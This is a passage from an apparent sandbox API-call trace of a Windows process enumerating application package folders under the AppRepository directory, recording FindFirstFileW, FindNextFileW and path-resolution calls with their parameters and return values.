lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0219.740] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_25.10586.0.0_neutral__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63139a5c, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0219.740] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63139a5c, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.740] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8891dbc3, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0219.741] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c4d0be, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x87c4d0be, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x87c4d0be, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0219.741] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c4d0be, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x87c4d0be, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x87c4d0be, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0219.741] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0219.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.741] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0219.741] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.6306.23501.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x223cca2b, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5410 [0219.888] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x223cca2b, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.888] FindNextFileW (in: hFindFile=0x1d1f5410, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x223cca2b, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.888] FindClose (in: hFindFile=0x1d1f5410 | out: hFindFile=0x1d1f5410) returned 1 [0219.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.889] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0219.889] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.6306.23501.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.6306.23501.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0219.889] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.889] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.889] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0219.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.890] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0219.891] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0219.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0219.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0219.892] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f52f0 [0219.892] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.892] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.893] FindClose (in: hFindFile=0x1d1f52f0 | out: hFindFile=0x1d1f52f0) returned 1 [0219.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0219.893] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0219.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0219.894] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0219.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0219.895] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.895] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.895] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0219.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.896] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0219.897] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0219.897] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0219.898] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\") returned 0x86 [0219.898] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0219.900] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.900] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a6d241, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x67a6d241, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x67b05aac, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0219.901] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.901] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0219.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0219.902] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0219.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0219.903] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\") returned 0x86 [0219.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0219.905] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.905] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a6d241, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x67a6d241, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x67b05aac, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0219.905] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a6d241, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x67a6d241, 